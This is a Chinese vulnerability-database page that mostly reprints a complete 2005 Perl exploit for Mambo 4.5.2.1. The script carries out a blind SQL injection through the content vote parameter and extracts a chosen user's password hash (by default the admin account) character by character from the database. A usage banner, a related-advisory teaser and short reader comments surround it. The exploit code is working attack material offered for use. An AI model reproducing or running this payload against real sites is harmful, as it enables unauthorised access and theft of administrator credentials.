Mambo 4.5.2.1 – SQL Injection
漏洞ID | 1055177 | 漏洞类型 | |
发布时间 | 2005-06-21 | 更新时间 | 2005-06-21 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | PHP | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#!/usr/bin/perl
### Mambo <= 4.5.2.1, MySQL => 4.1 sql injection exploit by RST/GHC
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### (c)oded by 1dt.w0lf , 21.06.05
### http://rst.void.ru , http://ghc.ru
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
use IO::Socket;
if (@ARGV < 3) { &usage; }
$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$news_id = 1;
$news_itemid = 1;
$server =~ s!(http://)!!;
$request = 'http://';
$request .= $server;
$request .= $path;
$s_num = 1;
$|++;
$n = 0;
&head;
print "rn";
print " [~] SERVER : $serverrn";
print " [~] PATH : $pathrn";
print " [~] USER ID : $member_idrn";
print " [~] SEARCHING PASSWORD ... [|]";
while(1)
{
if(&found(47,58)==0) { &found(96,103); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{bb DONE ]
---------------------------------------------------------------
USER ID : $member_id
HASH : $allchar
---------------------------------------------------------------
};
}
else
{
print "bb FAILED ]";
}
exit();
}
else
{
$allchar .= chr($char);
}
$s_num++;
}
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
$r = int($fmax - ($fmax-$fmin)/2);
$check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}
sub check($)
{
$n++;
status();
$ccheck = $_[0];
$sock1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
printf $sock1 ("GET %sindex.php?option=com_content&task=vote&id=%d&Itemid=%d&cid=1&user_rating=1,rating_count=(SELECT/**/if((ascii(substring((SELECT/**/password/**/FROM/**/mos_users/**/WHERE/**/id=%d),%d,1)))%s,1145711457,0)),lastip=666/* HTTP/1.0nHost: %snAccept: */*nConnection: closenn",
$path,$news_id,$news_itemid,$member_id,$s_num,$ccheck,$server);
sleep 1;
$sock2 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
printf $sock2 ("GET %sindex.php?option=com_content&task=view&id=%d&Itemid=%d&cid=1 HTTP/1.0nHost: %snAccept: */*nConnection: closenn",
$path,$news_id,$news_itemid,$server);
while(<$sock2>)
{
if (/1145711457/) { return 1; }
}
return 0;
}
sub status()
{
$status = $n % 5;
if($status==0){ print "bb/]"; }
if($status==1){ print "bb-]"; }
if($status==2){ print "bb\]"; }
if($status==3){ print "bb|]"; }
}
sub usage()
{
&head;
print q(
USAGE
r57mambo.pl [HOST] [/FOLDER/] [USER_ID]
OPTIONS
HOST - Host where mambo installed
FOLDER - Folder where mambo installed
USER_ID - User ID for brute (default is 62 for admin)
E.G.
r57mambo.pl http://blah.com /mambo/ 62
---------------------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}
sub head()
{
print q(
---------------------------------------------------------------
Mambo <= 4.5.2.1, MySQL => 4.1 sql injection exploit by RST/GHC
---------------------------------------------------------------
);
}
# milw0rm.com [2005-06-21]
相关推荐: BugZilla DoEditVotes.CGI登录错误信息泄露漏洞
BugZilla DoEditVotes.CGI登录错误信息泄露漏洞 漏洞ID 1204765 漏洞类型 设计错误 发布时间 2002-01-31 更新时间 2005-05-02 CVE编号 CVE-2002-0011 CNNVD-ID CNNVD-20020…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666